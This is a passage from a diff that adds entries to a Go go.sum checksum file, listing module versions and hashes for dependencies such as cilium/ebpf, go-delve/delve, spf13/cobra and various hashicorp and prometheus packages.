v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= +github.com/cilium/ebpf v0.10.0 h1:nk5HPMeoBXtOzbkZBWym+ZWq1GIiHUsBFXxwewXAHLQ= +github.com/cilium/ebpf v0.10.0/go.mod h1:DPiVdY/kT534dgc9ERmvP8mWA+9gvwgKfRvk4nNWnoE= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= +github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= +github.com/cosiner/argv v0.1.0 h1:BVDiEL32lwHukgJKP87btEPenzrrHUjajs/8yzaqcXg= +github.com/cosiner/argv v0.1.0/go.mod h1:EusR6TucWKX+zFgtdUsKT2Cvg45K5rtpCcWz4hK06d8= +github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/derekparker/trie v0.0.0-20200317170641-1fdf38b7b0e9/go.mod h1:D6ICZm05D9VN1n/8iOtBxLpXtoGp6HDFUJ1RNVieOSE= +github.com/derekparker/trie v0.0.0-20221221181808-1424fce0c981 h1:zPGs5GlTifgPVykTSvWB6/+J7EefOmYqH/JuUBI3kf0= +github.com/derekparker/trie v0.0.0-20221221181808-1424fce0c981/go.mod h1:C7Es+DLenIpPc9J6IYw4jrK0h7S9bKj4DNl8+KxGEXU= +github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/go-delve/delve v1.20.1 h1:km9RA+oUw6vd/mYL4EGcT5DsqGE0w/To8zFq0ZRj4PQ= +github.com/go-delve/delve v1.20.1/go.mod h1:oeVm2dZ1zgc9wWHGv6dUarkLBPyMvVEBi6RJiW8BORI= +github.com/go-delve/liner v1.2.3-0.20220127212407-d32d89dd2a5d h1:pxjSLshkZJGLVm0wv20f/H0oTWiq/egkoJQ2ja6LEvo= +github.com/go-delve/liner v1.2.3-0.20220127212407-d32d89dd2a5d/go.mod h1:biJCRbqp51wS+I92HMqn5H8/A0PAhxn2vyOT+JqhiGI= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-dap v0.6.0/go.mod h1:5q8aYQFnHOAZEMP+6vmq25HKYAEwE+LF5yh7JKrrhSQ= +github.com/google/go-dap v0.7.0 h1:088PdKBUkxAxrXrnY8FREUJXpS6Y6jhAyZIuJv3OGOM= +github.com/google/go-dap v0.7.0/go.mod h1:5q8aYQFnHOAZEMP+6vmq25HKYAEwE+LF5yh7JKrrhSQ= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= +github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= +github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= +github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4 h1:YDjusn29QI/Das2iO9M0BHnIbxPeyuCHsjMW+lJfyTc= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= +github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= +github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.3 h1:CE8S1cTafDpPvMhIxNJKvHsGVBgn1xWYf1NbHQhywc8= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98= +github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= +github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= +github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= +github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= +github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= +github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo= +github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= +github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= +github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= +github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= +github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= +github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.starlark.net v0.0.0-20220816155156-cfacd8902214/go.mod h1:VZcBMdr3cT3PnBoWunTabuSEXwVAH+ZJ5zxfs3AdASk= +go.starlark.net v0.0.0-20230302034142-4b1e35fe2254 h1:Ss6D3hLXTM0KobyBYEAygXzFfGcjnmfEJOBgSbemCtg= +go.starlark.net v0.0.0-20230302034142-4b1e35fe2254/go.mod h1:jxU+3+j+71eXOW14274+SmmuW82qJzl6iZSeqEtTGds= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= 